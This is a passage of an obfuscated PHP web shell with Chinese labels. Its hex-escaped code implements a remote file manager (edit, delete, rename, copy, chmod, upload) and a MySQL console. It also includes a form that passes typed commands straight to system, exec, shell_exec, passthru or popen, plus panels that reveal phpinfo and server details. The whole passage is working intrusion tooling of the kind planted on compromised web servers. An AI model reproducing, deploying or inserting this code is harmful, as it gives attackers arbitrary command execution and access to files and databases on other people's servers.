<?php $filesum = 0; $dirsum = 0; $color = "\x23\x45\x45\105\105\x45\105"; $dirs = @opendir($dir); while ($lop_fname = @readdir($dirs)) { if (@is_dir("{$dir}\57{$lop_fname}")) { $lop_fsize = "\x2d"; $lop_fcdata = "\x2d"; $lop_fmdata = "\55"; $lop_foper = "\55"; $lop_ftype = "\x2d"; if ($lop_fname == "\x2e\56") { if ($dir == "\x2e") { continue; } $dirb = @dirname($dir); if ($dir[1] == "\72") { $dirb = gettruepath($dirb); if (strlen($dirb) <= 3) { $dirb = substr($dirb, 0, 2); } } $bp = "\xe2\x96\xb3\40"; $lop_fname = "\344\xb8\212\xe7\xba\xa7\xe7\x9b\xae\345\275\x95"; } else { if ($lop_fname == "\56") { if ($dir == "\x2e") { continue; } $dir[1] == "\72" ? $dirb = substr(gettruepath($dirb), 0, 2) : ($dirb = $lop_fname); $bp = "\xe2\x97\213\x20"; $lop_fname = "\xe6\240\xb9\xe7\xba\247\xe7\233\xae\xe5\275\x95"; } else { $lop_fsize = "\x5b\x44\111\x52\x5d"; $dirb = "{$dir}\57{$lop_fname}"; $lop_fcdata = @date("\131\x2d\x6e\x2d\144\40\x48\72\151\72\163", @filectime("{$dirb}")); $lop_fmdata = @date("\x59\x2d\x6e\55\144\x20\110\72\x69\x3a\163", @filemtime("{$dirb}")); $lop_ftype = substr(@base_convert(@fileperms($dirb), 10, 8), -4); $bp = "\342\x96\241\40"; $title = "\xe7\202\271\345\207\xbb\xe8\277\x9b\345\205\xa5\xe6\x96\x87\344\273\xb6\345\xa4\271\x5b{$lop_fname}\x5d"; $lop_foper = "\x5b\x3c\x61\x20\150\162\x65\x66\75\x22\xe5\x88\240\351\x99\244\x22\x20\x74\x69\x74\154\145\75\42\xe5\210\xa0\xe9\231\xa4\xe6\225\xb4\xe4\xb8\252\xe6\x96\207\xe4\273\xb6\345\xa4\xb9\x22\40\x6f\x6e\103\154\x69\143\153\75\x22\x72\x75\x73\165\x72\145\x64\145\x6c\50\x27{$dirb}\x27\54\47\77\141\x63\x74\151\x6f\156\75\x66\x69\x6c\145\144\145\154\46\x64\x69\x72\75{$dir}\x26\x64\x65\x6c\x64\151\x72\x3d\47\x29\73\162\145\x74\165\x72\156\40\146\x61\154\163\145\73\42\76\xe5\210\xa0\x3c\x2f\141\76\174" . "\74\x61\x20\150\162\x65\x66\x3d\42\xe9\x87\x8d\345\x91\275\xe5\x90\215\42\x20\x74\151\x74\x6c\x65\x3d\x22\351\x87\215\345\x91\xbd\xe5\x90\215\42\x20\157\x6e\x43\154\x69\143\x6b\75\x22\x72\165\x73\165\162\x65\143\150\153\x28\47{$dirb}\47\54\47\77\x61\143\x74\x69\157\x6e\75\x66\151\x6c\x65\x72\x65\x6e\x61\x6d\145\46\144\151\x72\x3d{$dir}\46\x72\145\x6e\x61\x6d\145\146\75{$dirb}\x26\162\145\x6e\x61\155\x65\x74\x3d\47\51\73\162\145\164\x75\162\x6e\40\x66\141\x6c\x73\x65\73\42\76\351\207\x8d\x3c\x2f\x61\76\174" . "\x3c\141\40\150\x72\145\146\x3d\x22\346\x8b\xb7\xe8\xb4\235\x22\x20\x74\x69\x74\154\x65\75\42\346\213\xb7\xe8\264\235\x22\x20\x6f\x6e\x43\x6c\x69\143\153\x3d\x22\162\165\163\x75\x72\x65\x63\150\x6b\50\x27{$dirb}\47\x2c\x27\77\x61\143\x74\x69\x6f\156\75\x66\151\154\x65\143\x6f\x70\171\x26\x64\151\x72\75{$dir}\46\x63\x6f\x70\171\144\x69\x72\146\75{$dirb}\46\143\x6f\160\171\x64\151\x72\164\x3d\47\x29\73\162\x65\x74\x75\162\156\40\x66\x61\x6c\x73\145\73\x22\76\346\x8b\xb7\x3c\x2f\141\x3e\174" . "\74\141\x20\150\x72\x65\x66\75\x22\xe5\261\236\xe6\x80\247\42\40\164\151\164\x6c\x65\x3d\42\344\xbf\xae\346\224\271\xe5\xb1\236\346\x80\247\42\40\157\156\103\x6c\151\143\x6b\x3d\42\162\165\x73\165\x72\145\x63\x68\153\50\47{$lop_ftype}\x27\54\x27\x3f\141\x63\x74\x69\157\x6e\75\x66\x69\154\145\164\171\x70\x65\x26\144\151\x72\x3d{$dir}\x26\143\164\x79\x70\145\x3d\47\51\73\162\x65\164\165\162\156\40\x66\141\154\x73\145\x3b\x22\76\xe5\261\236\74\57\x61\x3e\135"; $dirsum++; } } $color = ch_color($color); echo "\74\x74\162\x20\x62\x67\x63\157\x6c\157\x72\75\x22{$color}\x22\76" . "\x3c\164\x64\40\x77\x69\144\164\150\x3d\42\x32\x35\x25\x22\76{$bp}\40\133\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\77\141\143\x74\151\157\x6e\x3d\144\151\x72\x26\144\x69\x72\75{$dirb}\42\40\x74\151\x74\x6c\x65\x20\75\40\42\xe8\277\x9b\345\x85\245\42\76{$lop_fname}\x3c\57\141\76\x5d\x3c\57\164\144\76" . "\x3c\x74\144\x20\167\x69\x64\164\150\x3d\x22\x34\60\x25\x22\x3e\133{$lop_fcdata}\x7c{$lop_fmdata}\x5d\x3c\57\164\x64\76" . "\74\164\x64\40\167\151\144\x74\x68\75\42\61\x30\x25\42\76{$lop_fsize}\74\57\164\144\76" . "\74\x74\x64\x20\167\x69\144\x74\150\x3d\42\x38\45\x22\76{$lop_ftype}\74\x2f\x74\x64\76" . "\x3c\x74\x64\40\x77\x69\144\164\x68\x3d\x22\61\x37\x25\42\x3e{$lop_foper}\74\57\x74\x64\76" . "\74\x2f\x74\x72\x3e"; } } @closedir($dirs); $dirs = @opendir($dir); while ($lop_fname = @readdir($dirs)) { if (!@is_dir("{$dir}\57{$lop_fname}") && $lop_fname != "\x2e\56") { $lop_ftype = substr(@base_convert(@fileperms("{$dir}\57{$lop_fname}"), 10, 8), -4); $lop_foper = "\133\74\141\x20\150\x72\145\146\75\42\345\210\xa0\xe9\x99\xa4\x22\40\x74\151\164\x6c\145\x3d\42\xe5\x88\240\351\x99\244\x22\40\x6f\156\x43\x6c\151\x63\153\75\42\162\x75\x73\x75\x72\x65\x64\x65\154\50\47{$dir}\57{$lop_fname}\47\x2c\x27\x3f\x61\143\164\x69\157\x6e\x3d\x66\151\x6c\x65\x64\145\x6c\x26\x64\151\162\75{$dir}\46\x64\x65\x6c\x66\x69\154\x65\x3d\x27\51\x3b\x72\x65\x74\165\162\x6e\40\x66\141\x6c\x73\x65\73\42\76\xe5\210\xa0\x3c\x2f\141\x3e\174" . "\74\x61\40\150\x72\x65\146\x3d\42\xe9\x87\215\345\221\xbd\345\220\x8d\42\40\x74\151\x74\154\145\75\42\xe9\x87\215\xe5\221\xbd\xe5\220\x8d\42\x20\x20\x6f\156\103\x6c\x69\x63\x6b\x3d\42\162\x75\x73\x75\x72\145\x63\150\x6b\50\x27{$dir}\57{$lop_fname}\x27\54\47\x3f\x61\143\164\x69\x6f\156\75\x66\x69\x6c\145\162\x65\x6e\x61\155\145\x26\144\151\x72\x3d{$dir}\x26\162\145\156\141\155\145\146\75{$dir}\x2f{$lop_fname}\46\x72\145\156\141\155\x65\x74\x3d\47\x29\x3b\x72\x65\x74\165\x72\156\40\x66\x61\x6c\x73\x65\x3b\x22\76\351\207\x8d\x3c\x2f\x61\76\x7c" . "\74\x61\x20\x68\162\x65\x66\x3d\x22\346\213\267\xe8\264\235\42\40\x74\151\x74\x6c\145\75\42\346\x8b\xb7\350\264\x9d\42\x20\157\156\103\x6c\151\143\x6b\x3d\x22\162\x75\163\x75\162\145\143\x68\x6b\x28\x27{$dir}\x2f{$lop_fname}\x27\54\x27\77\141\x63\164\151\x6f\x6e\75\146\x69\x6c\x65\143\157\x70\171\x26\144\x69\x72\75{$dir}\x26\143\x6f\x70\171\x66\x69\x6c\x65\x66\x3d{$dir}\x2f{$lop_fname}\x26\x63\157\160\171\146\151\154\x65\x74\x3d\47\x29\x3b\162\x65\x74\x75\x72\x6e\x20\146\x61\154\163\145\73\x22\x3e\xe6\x8b\267\x3c\57\x61\76\174" . "\x3c\141\x20\150\x72\x65\x66\x3d\x22\345\261\236\346\x80\247\42\40\164\x69\164\x6c\145\x3d\x22\xe4\xbf\256\346\224\271\xe5\261\x9e\346\200\247\42\40\x6f\x6e\x43\x6c\x69\x63\153\75\42\162\165\163\x75\x72\x65\143\x68\x6b\50\47{$lop_ftype}\x27\x2c\x27\77\141\x63\x74\x69\x6f\x6e\75\x66\x69\154\x65\164\x79\160\x65\46\144\x69\162\75{$dir}\46\143\146\151\x6c\x65\75{$dir}\57{$lop_fname}\46\143\x74\171\160\145\75\x27\51\x3b\x72\145\164\x75\x72\156\40\x66\141\x6c\x73\145\73\x22\x3e\xe5\261\x9e\74\57\x61\x3e\x7c" . "\74\x61\40\150\x72\x65\146\x3d\x22\x3f\141\143\x74\x69\157\156\75\144\151\162\46\144\146\137\x70\x61\x74\x68\75{$dir}\57{$lop_fname}\42\x20\x74\x69\x74\x6c\145\x3d\42\xe4\270\x8b\350\xbd\275\42\76\xe4\xb8\213\74\x2f\141\x3e\174" . "\x3c\141\x20\150\162\x65\x66\75\42\77\x61\x63\164\151\x6f\156\x3d\x65\144\x69\164\146\x69\154\x65\46\144\x69\x72\75{$dir}\x26\145\144\x69\x74\146\151\154\x65\x3d{$dir}\57{$lop_fname}\x22\x20\x74\151\x74\x6c\x65\x3d\42\xe7\xbc\x96\350\xbe\221\42\x3e\xe7\xbc\x96\74\57\141\x3e\x5d"; $color = ch_color($color); echo "\74\164\x72\x20\142\147\x63\157\x6c\157\162\x3d\42{$color}\x22\76" . "\74\164\x64\40\167\x69\144\164\x68\75\42\62\x35\45\x22\76\342\x96\240\x20\x3c\141\40\x68\x72\x65\x66\75\x22{$dir}\x2f{$lop_fname}\x22\x20\164\x69\164\x6c\x65\x20\x3d\x20\x22\xe6\226\xb0\xe7\252\227\xe5\x8f\243\xe4\xb8\255\xe6\211\x93\345\274\200\42\40\x74\141\162\147\x65\x74\75\x22\137\x62\154\x61\156\153\x22\x3e{$lop_fname}\x3c\57\141\76\x3c\57\x74\144\76" . "\74\x74\144\x20\167\151\x64\x74\x68\x3d\x22\x34\x30\45\x22\76\x5b" . @date("\131\55\156\55\144\40\110\72\151\72\163", @filectime("{$dir}\57{$lop_fname}")) . "\174" . @date("\x59\55\156\55\x64\x20\x48\x3a\x69\72\x73", @filemtime("{$dir}\x2f{$lop_fname}")) . "\135\74\57\164\x64\76" . "\x3c\164\144\x20\x77\151\144\164\150\75\42\61\60\45\42\x3e" . @number_format(@filesize("{$dir}\x2f{$lop_fname}") / 1024, 3) . "\74\x2f\164\x64\x3e" . "\x3c\x74\x64\x20\167\x69\144\x74\150\x3d\42\x38\45\42\76" . $lop_ftype . "\x3c\57\164\x64\x3e" . "\74\x74\x64\40\167\x69\x64\164\x68\x3d\x22\61\x37\x25\x22\76{$lop_foper}\74\x2f\x74\x64\76" . "\x3c\x2f\164\162\x3e"; $filesum++; } } @closedir($dirs); ?>
<tr bgcolor="#000000" class="stylebtext3" align="center">
<td width="25%" colspan="5">:<?php echo $dirsum; ?>
,:<?php echo $filesum; ?>
</td>
</tr>
</table>
<?php } else { if ($action == "\145\x64\151\164\x66\x69\154\x65") { ?>
()
</td>
</tr>
<tr>
<form method="post" action="?action=filesave&dir=<?php echo urlencode($dir); ?>
" enctype="multipart/form-data">
<td align="center" valign="top" bgcolor="#EEEEEE">:
<input name="editfilename" type="text" class="style1" value="<?php echo $editfile; ?>
" size="30">
<input name="editbackfile" type="checkbox" value="1" class="style1">(.bak)<br>
<textarea name="editfiletext" cols="120" rows="25" class="style1"><?php $fd = @fopen($editfile, "\x72\142"); $fd == false ? $readfbuff = "\xe8\257\273\xe5\x8f\226\xe6\226\x87\344\273\266\351\x94\231\xe8\xaf\xaf\50\346\210\226\xe5\xb0\x9a\346\x9c\252\350\257\xbb\xe5\217\226\346\226\207\344\273\xb6\x29\56" : ($readfbuff = @fread($fd, filesize($editfile))); @fclose($fd); $readfbuff = htmlspecialchars($readfbuff); echo "{$readfbuff}"; ?>
</textarea><p>
<input name="editfileb" type="submit" value="" class="style1">
<input name="editagainb" type="reset" value="" class="style1">
<a href="?action=dir&dir=<?php echo urlencode($dir); ?>
"></a>
<p>
</td>
</form>
</tr>
</table>
<?php } else { if ("\163\x71\x6c" == substr($action, 0, 3)) { ?>
</td>
</tr>
<tr>
<form method="post" action="?action=sql" enctype="multipart/form-data">
<td align="center" valign="top" bgcolor="#EEEEEE">
:<input name="sqlhost" type="text" class="style1" value="<?php echo isset($sqlhost) ? $sqlhost : "\154\157\143\x61\154\150\157\163\164"; ?>
" size="20">
:<input name="sqlport" type="text" class="style1" value="<?php echo isset($sqlport) ? $sqlport : "\63\x33\x30\x36"; ?>
" size="5">
:<input name="sqluser" type="text" class="style1" value="<?php echo isset($sqluser) ? $sqluser : "\162\157\157\x74"; ?>
" size="10">
:<input name="sqlpasd" type="text" class="style1" value="<?php echo isset($sqlpasd) ? $sqlpasd : ''; ?>
" size="10">
:<input name="sqldb" type="text" class="style1" value="<?php echo isset($sqldb) ? $sqldb : ''; ?>
" size="10"><br>
<textarea name="sqlcmdtext" cols="120" rows="10" class="style1"><?php if (!empty($sqlcmdtext)) { @mysql_connect("{$sqlhost}\72{$sqlport}", "{$sqluser}", "{$sqlpasd}") or die("\xe6\x95\260\346\x8d\256\345\xba\x93\350\277\236\xe6\x8e\xa5\345\xa4\261\350\264\245"); @mysql_select_db("{$sqldb}") or die("\xe9\x80\211\xe6\213\251\346\x95\xb0\xe6\x8d\256\xe5\272\x93\345\244\xb1\xe8\xb4\xa5"); $res = @mysql_query("{$sqlcmdtext}"); echo $sqlcmdtext; mysql_close(); } ?>
</textarea><p>
<span class="stylebtext2"><?php echo isset($sqlcmdb) ? $res ? "\346\x89\247\350\xa1\x8c\xe6\x88\220\xe5\212\x9f\56" : "\346\x89\xa7\350\xa1\214\xe5\244\261\xe8\xb4\245\x3a" . mysql_error() : ''; ?>
</span><p>
<input name="sqlcmdb" type="submit" value="" class="style1">
<input name="sqlagainb" type="reset" value="" class="style1">
<p>
</td>
</form>
</tr>
</table>
<?php } else { if ("\163\x68\x65\154\154" == substr($action, 0, 5)) { ?>
Shell
</td>
</tr>
<tr>
<form method="post" action="?action=shell" enctype="multipart/form-data">
<td align="center" valign="top" bgcolor="#EEEEEE">
:<select name="seletefunc" class="input">
<option value="system" <?php echo $seletefunc == "\163\x79\163\164\145\x6d" ? "\x73\145\x6c\145\143\164\145\144" : ''; ?>
>system</option>
<option value="exec" <?php echo $seletefunc == "\x65\170\145\143" ? "\x73\x65\x6c\x65\x63\x74\145\144" : ''; ?>
>exec</option>
<option value="shell_exec" <?php echo $seletefunc == "\x73\x68\145\x6c\154\137\145\x78\145\x63" ? "\x73\x65\154\145\x63\164\x65\144" : ''; ?>
>shell_exec</option>
<option value="passthru" <?php echo $seletefunc == "\160\x61\163\x73\x74\x68\162\165" ? "\x73\x65\154\x65\x63\164\x65\x64" : ''; ?>
>passthru</option>
<option value="popen" <?php echo $seletefunc == "\160\157\x70\145\x6e" ? "\x73\145\154\x65\x63\164\x65\x64" : ''; ?>
>popen</option>
</select>
:<input name="shellcmd" type="text" class="style1" value="<?php echo isset($shellcmd) ? $shellcmd : ''; ?>
" size="80">
<textarea name="shelltext" cols="120" rows="10" class="style1"><?php if (!empty($shellcmd)) { if ($seletefunc == "\160\157\160\145\156") { $pp = popen($shellcmd, "\x72"); echo fread($pp, 2096); pclose($pp); } else { echo $out = "\163\171\163\164\145\x6d" == $seletefunc ? system($shellcmd) : ($seletefunc == "\145\170\145\x63" ? exec($shellcmd) : ($seletefunc == "\163\150\x65\154\154\137\145\170\145\x63" ? shell_exec($shellcmd) : ($seletefunc == "\160\141\x73\x73\x74\150\162\165" ? passthru($shellcmd) : system($shellcmd)))); } } ?>
</textarea><p>
<span class="stylebtext2"><?php echo get_cfg_var("\x73\x61\146\145\137\x6d\x6f\144\x65") ? "\xe6\217\220\xe7\244\xba\72\xe5\xae\211\xe5\205\xa8\xe6\250\xa1\345\274\x8f\xe4\270\213\xe5\x8f\xaf\xe8\x83\xbd\xe6\227\xa0\xe6\xb3\225\346\x89\xa7\xe8\241\x8c" : ''; ?>
</span><p>
<input name="shellcmdb" type="submit" value="" class="style1">
<input name="shellagainb" type="reset" value="" class="style1">
<p>
</td>
</form>
</tr>
</table>
<?php } else { if ($action == "\x70\x68\160\x69\156\146\x6f") { ?>
PHP
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE" class="stylebtext2"><br><?php phpinfo(); if (eregi("\x70\x68\160\x69\156\146\157", get_cfg_var("\x64\x69\x73\x61\x62\154\145\137\x66\x75\x6e\143\x74\151\x6f\x6e\163"))) { echo "\x3c\x62\x3e\x70\150\160\x69\156\x66\157\xe5\207\275\xe6\225\260\350\242\xab\347\246\x81\xe6\xad\242\x3c\57\142\x3e\74\142\162\x3e"; } ?>
<br>
</td>
</tr>
</table>
<?php } else { if ("\146\151\154\145" == substr($action, 0, 4)) { ?>
</td>
</tr>
<tr>
<td align="center" bgcolor="#EEEEEE" class="stylebtext2">
<br>
<?php if ($action == "\x66\x69\x6c\145\163\x61\166\145") { if (isset($editfileb) && isset($editfilename)) { if (isset($editbackfile) && $editbackfile == 1) { echo $out = @copy($editfilename, $editfilename . "\56\142\x61\x6b") ? "\xe7\x94\x9f\346\210\x90\345\xa4\x87\xe4\xbb\xbd\xe6\x96\207\xe4\273\266\346\x88\x90\345\x8a\x9f\x2e\74\160\76" : "\347\x94\237\xe6\210\x90\xe5\xa4\x87\xe4\xbb\xbd\346\226\x87\xe4\xbb\xb6\xe6\x88\x90\xe5\x8a\x9f\x3c\160\x3e"; } $fd = @fopen($editfilename, "\x77"); if ($fd == false) { echo "\xe6\x89\223\xe5\xbc\200\xe6\226\207\xe4\273\266\133{$editfilename}\x5d\351\x94\231\350\257\xaf\x2e"; } else { echo $out = @fwrite($fd, $editfiletext) ? "\347\xbc\x96\xe8\xbe\221\xe6\226\207\344\xbb\266\x5b{$editfilename}\135\xe6\x88\220\xe5\x8a\237\41" : "\345\x86\x99\345\x85\xa5\346\x96\x87\344\273\xb6\346\x96\x87\xe4\273\266\133{$editfilename}\135\xe9\x94\x99\xe8\xaf\257"; @fclose($fd); } } } else { if ($action == "\146\151\x6c\145\x64\145\x6c") { if (isset($deldir)) { echo $out = file_exists($deldir) ? deltree($deldir) ? "\xe5\210\xa0\351\231\244\xe7\233\256\xe5\xbd\x95\133{$deldir}\135\346\210\x90\xe5\x8a\x9f\x21" : "\345\210\xa0\xe9\231\xa4\347\233\xae\345\xbd\x95\133{$deldir}\x5d\xe5\xa4\xb1\350\xb4\245\41" : "\347\233\xae\345\xbd\x95\x5b{$deldir}\135\xe4\xb8\x8d\345\255\230\345\x9c\250\x21\41"; } else { if (isset($delfile)) { @chmod("{$delfile}", 511); echo $out = file_exists($delfile) ? @unlink($delfile) ? "\xe5\210\xa0\351\x99\xa4\346\226\207\344\xbb\266\x5b{$delfile}\135\346\x88\x90\xe5\212\237\41" : "\xe5\210\240\xe9\x99\xa4\346\226\207\xe4\273\266\x5b{$delfile}\135\xe5\xa4\261\xe8\xb4\245\41" : "\346\x96\x87\xe4\xbb\266\133{$delfile}\135\344\xb8\x8d\xe5\255\x98\345\x9c\250\x21"; } } } else { if ($action == "\146\151\x6c\145\162\145\x6e\141\155\x65") { echo $out = file_exists($renamef) ? @rename($renamef, $renamet) ? "\351\207\215\xe5\221\xbd\xe5\220\215\x5b{$renamef}\x5d\344\xb8\xba\133{$renamet}\x5d\xe6\210\220\xe5\x8a\237" : "\351\207\215\345\x91\xbd\xe5\220\x8d\133{$renamef}\x5d\xe4\xb8\272\x5b{$renamet}\135\345\244\xb1\350\xb4\xa5" : "\346\226\x87\xe4\xbb\266\x5b{$renamef}\135\xe4\270\215\xe5\255\x98\345\234\250\x21"; } else { if ($action == "\146\x69\x6c\145\143\x6f\x70\171") { if (isset($copydirf) && isset($copydirt)) { echo $out = file_exists($copydirf) ? truepath($copydirt) ? copydir($copydirf, $copydirt) ? "\346\213\267\350\264\235\xe7\233\256\xe5\275\225\133{$copydirf}\135\345\210\260\x5b{$copydirt}\x5d\346\x88\x90\345\212\237" : "\346\x8b\267\xe8\xb4\x9d\347\233\256\345\xbd\x95\133{$copydirf}\135\345\210\xb0\x5b{$copydirt}\x5d\xe5\xa4\261\xe8\264\245" : "\xe7\233\xae\xe6\240\x87\347\233\xae\xe5\275\225\x5b{$copydirt}\135\344\xb8\x8d\xe5\255\230\xe5\x9c\250\344\xb8\x94\xe5\210\233\345\273\272\xe9\224\x99\350\257\xaf" : "\xe7\233\256\xe5\275\225\x5b{$copydirf}\135\xe4\xb8\215\xe5\xad\x98\345\x9c\250\41"; } else { if (isset($copyfilef) && isset($copyfilet)) { echo $out = file_exists($copyfilef) ? truepath(dirname($copyfilet)) ? @copy($copyfilef, $copyfilet) ? "\346\x8b\xb7\xe8\264\235\346\x96\x87\xe4\xbb\266\x5b{$copyfilef}\135\345\x88\xb0\133{$copyfilet}\x5d\xe6\x88\x90\xe5\212\237" : "\346\213\267\xe8\xb4\x9d\346\226\x87\xe4\xbb\266\x5b{$copyfilef}\135\345\x88\260\133{$copyfilet}\x5d\345\244\xb1\xe8\xb4\245" : "\xe7\233\xae\xe6\240\x87\347\233\256\xe5\xbd\225\xe4\xb8\215\345\xad\x98\345\234\250\xe4\270\224\345\x88\x9b\345\273\xba\351\224\231\xe8\257\xaf" : "\xe6\272\x90\xe6\x96\x87\xe4\273\xb6\x5b{$copyfilef}\135\xe4\xb8\215\xe5\xad\x98\xe5\234\xa8\41"; } } } else { if ($action == "\146\151\154\x65\x63\x72\x65\x61\164\145") { if (isset($mkdirb)) { echo $out = file_exists("{$dir}\57{$mkname}") ? "\133{$dir}\x2f{$mkname}\x5d\xe8\257\245\347\x9b\xae\345\275\x95\345\267\xb2\xe5\255\x98\345\234\xa8" : (@mkdir("{$dir}\57{$mkname}", 511) ? "\xe7\x9b\256\xe5\275\x95\x5b{$mkname}\x5d\xe5\x88\233\345\xbb\272\346\210\x90\xe5\212\x9f" : "\xe7\x9b\xae\xe5\275\225\x5b{$mkname}\135\xe5\x88\233\xe5\xbb\272\xe5\xa4\xb1\xe8\xb4\xa5"); } else { if (isset($mkfileb)) { if (file_exists("{$dir}\x2f{$mkname}")) { echo "\133{$dir}\57{$mkname}\x5d\350\257\xa5\346\x96\207\344\273\xb6\345\xb7\262\345\xad\230\xe5\x9c\250"; } else { $fd = @fopen("{$dir}\x2f{$mkname}", "\x77"); if ($fd == false) { echo "\345\273\xba\347\253\213\346\226\x87\xe4\273\xb6\133{$mkname}\x5d\351\224\x99\xe8\257\xaf\x2e"; } else { echo "\345\xbb\xba\347\xab\x8b\xe6\226\x87\xe4\273\266\x5b{$mkname}\x5d\xe6\x88\220\345\212\237\40\74\x61\40\150\162\x65\146\75\x22\x3f\141\143\164\x69\x6f\156\x3d\x65\144\x69\x74\x66\x69\x6c\145\46\144\x69\x72\75" . urlencode($dir) . "\46\145\x64\x69\x74\146\x69\x6c\x65\75" . urlencode($dir) . "\57" . urlencode($mkname) . "\x22\76\74\160\76\xe7\202\271\xe6\xad\xa4\350\xb7\xb3\xe8\275\xac\xe5\x85\245\xe7\274\226\xe8\276\221\346\xb5\217\350\xa7\x88\xe9\xa1\265\xe9\235\xa2\74\x2f\141\x3e"; @fclose($fd); } } } } } else { if ($action == "\x66\x69\x6c\x65\164\x79\x70\x65") { echo $out = @chmod($cfile, base_convert($ctype, 8, 10)) ? "\xe6\233\264\xe6\x94\xb9\346\210\220\345\x8a\237\41" : "\346\233\264\346\224\xb9\xe5\244\xb1\350\xb4\xa5\x21"; } else { if ($action == "\x66\151\x6c\145\165\x70") { echo $out = @copy($userfile["\164\155\160\137\x6e\x61\155\x65"], "{$filedir}\x2f{$userfile["\156\x61\x6d\145"]}") ? "\xe4\270\212\xe4\274\xa0\346\226\x87\344\xbb\xb6\x5b{$userfile["\156\141\155\x65"]}\135\xe6\210\x90\xe5\212\x9f\56\xe4\275\x8d\347\xbd\xae\72\133{$filedir}\57{$userfile["\156\x61\155\145"]}\x5d\345\x85\261\x28{$userfile["\x73\x69\x7a\145"]}\51\xe5\255\x97\xe8\x8a\x82\x2e" : "\xe4\xb8\212\xe4\xbc\240\346\226\207\344\273\xb6\x5b{$userfile["\x6e\141\x6d\x65"]}\135\345\244\xb1\350\xb4\xa5"; } else { echo "\351\x94\231\xe8\257\257\xe7\x9a\204\346\217\220\344\272\244\345\217\202\xe6\225\xb0\x61\143\x74\151\x6f\x6e\56"; } } } } } } } ?>
<p>
<a href="?action=dir&dir=<?php echo urlencode($dir); ?>
"></a>
<p>
</td>
</tr>
</table>
<?php } else { if ($action == "\x65\x6e\x76") { ?>
<?php echo $rny; ?>
<?php echo $rnn; ?>
<br>
</td>
</tr>
<?php $sinfo[0] = array("\xe4\xb8\273\346\x9c\xba\xe5\x9f\237\xe5\x90\215\72", $_SERVER["\123\105\122\x56\105\122\137\x4e\101\115\105"]); $sinfo[1] = array("\xe4\270\xbb\xe6\x9c\xba\111\120\72", gethostbyname($_SERVER["\123\x45\122\x56\105\x52\x5f\x4e\x41\x4d\x45"])); $sinfo[2] = array("\xe4\270\xbb\xe6\234\272\xe7\253\257\345\217\243\72", $_SERVER["\x53\x45\x52\x56\x45\122\x5f\120\x4f\122\124"]); $sinfo[3] = array("\xe4\270\273\xe6\x9c\272\xe6\227\266\351\x97\xb4\72", date("\131\57\155\57\144\137\150\72\151\72\x73", time())); $sinfo[4] = array("\xe4\270\273\346\234\272\xe7\263\273\xe7\xbb\237\x3a", PHP_OS); $sinfo[5] = array("\xe4\270\xbb\xe6\x9c\272\127\x45\102\346\234\215\345\x8a\241\345\x99\250", $_SERVER["\x53\x45\x52\x56\105\x52\x5f\123\117\x46\124\127\x41\x52\105"]); $sinfo[6] = array("\120\110\120\347\x89\210\xe6\234\xac\72", PHP_VERSION); $sinfo[7] = array("\345\211\xa9\xe4\275\x99\xe7\xa9\xba\351\227\xb4\72", intval(diskfreespace("\x2e") / (1024 * 1024) . "\x4d\x42")); $sinfo[8] = array("\xe4\xb8\273\xe6\234\xba\xe8\xaf\255\350\250\200", $_SERVER["\110\124\x54\120\137\101\103\103\x45\120\124\x5f\x4c\101\116\x47\x55\x41\107\x45"]); $sinfo[9] = array("\xe5\xbd\x93\xe5\x89\x8d\xe7\224\250\xe6\x88\267", get_current_user()); $sinfo[10] = array("\xe6\x9c\200\345\244\247\xe5\206\205\345\xad\x98\345\215\xa0\xe7\x94\250\x3a", my_func("\x6d\x65\155\157\x72\x79\x5f\x6c\151\155\x69\x74", 1)); $sinfo[11] = array("\346\x9c\x80\xe5\xa4\247\345\215\225\344\xb8\252\xe4\270\212\xe4\274\xa0\xe6\226\x87\xe4\273\266", my_func("\x75\x70\x6c\157\x61\x64\137\x6d\x61\170\137\146\151\x6c\145\x73\x69\x7a\x65", 1)); $sinfo[12] = array("\120\117\123\x54\xe6\234\x80\xe5\244\247\345\256\xb9\xe9\x87\217", my_func("\160\x6f\163\164\137\x6d\141\170\137\x73\x69\x7a\x65", 1)); $sinfo[13] = array("\xe8\x84\232\xe6\x9c\xac\xe8\xb6\x85\346\227\266", my_func("\155\x61\170\137\x65\x78\x65\143\x75\164\151\157\x6e\x5f\164\151\x6d\145", 1)); $sinfo[14] = array("\xe5\261\217\350\224\275\xe7\232\204\xe5\207\275\346\225\260", my_func("\x64\151\x73\141\142\x6c\x65\137\x66\x75\156\143\164\151\157\156\x73", 1)); $ssql[0] = array("\x4d\x59\123\121\114", my_func("\x6d\x79\163\x71\154\137\143\154\157\x73\145", 2)); $ssql[1] = array("\x4f\162\x61\x63\x6c\145", my_func("\157\x72\141\x5f\x63\154\157\x73\145", 2)); $ssql[2] = array("\117\x72\141\x63\154\145\x20\70", my_func("\117\103\111\x4c\157\147\117\x66\x66", 2)); $ssql[3] = array("\117\x42\x44\x43", my_func("\157\x64\x62\x63\137\x63\154\x6f\x73\x65", 2)); $ssql[4] = array("\123\x79\102\x61\163\145", my_func("\x73\171\x62\x61\163\145\x5f\143\x6c\157\x73\x65", 2)); $ssql[5] = array("\x53\x51\114\137\123\145\x72\166\145\x72", my_func("\x6d\163\x73\161\x6c\x5f\x63\154\x6f\x73\145", 2)); $ssql[6] = array("\x44\102\141\163\x65", my_func("\x64\x62\x61\163\145\x5f\143\154\157\x73\145", 2)); $ssql[7] = array("\110\171\x70\145\x72\x77\141\166\145", my_func("\150\167\137\x63\154\x6f\163\x65", 2)); $ssql[8] = array("\x50\157\163\164\x67\x72\145\x5f\123\121\114", my_func("\160\x67\137\143\154\x6f\x73\145", 2)); $sobj[0] = array("\x53\145\163\163\x69\157\156\xe6\224\257\xe6\214\x81", my_func("\x73\x65\163\x73\151\157\156\x5f\x73\x74\141\x72\164", 2)); $sobj[1] = array("\123\x6f\143\x6b\145\x74\xe6\x94\xaf\xe6\x8c\201", my_func("\146\x73\157\143\153\157\x70\x65\x6e", 2)); $sobj[2] = array("\345\x8e\x8b\xe7\274\251\346\x96\207\xe4\xbb\266\346\x94\xaf\346\214\x81\x28\x5a\154\x69\142\51", my_func("\147\172\143\154\157\163\x65", 2)); $sobj[3] = array("\123\115\124\x50\346\224\257\346\x8c\201", my_func("\163\155\x74\x70", 2)); $sobj[4] = array("\x58\115\x4c\346\224\257\346\x8c\201", my_func("\x58\x4d\114\x20\x53\165\160\160\x6f\x72\164", 3)); $sobj[5] = array("\106\x54\120\xe6\224\xaf\xe6\x8c\201", my_func("\x46\124\x50\40\163\x75\x70\160\157\162\164", 3)); $sobj[6] = 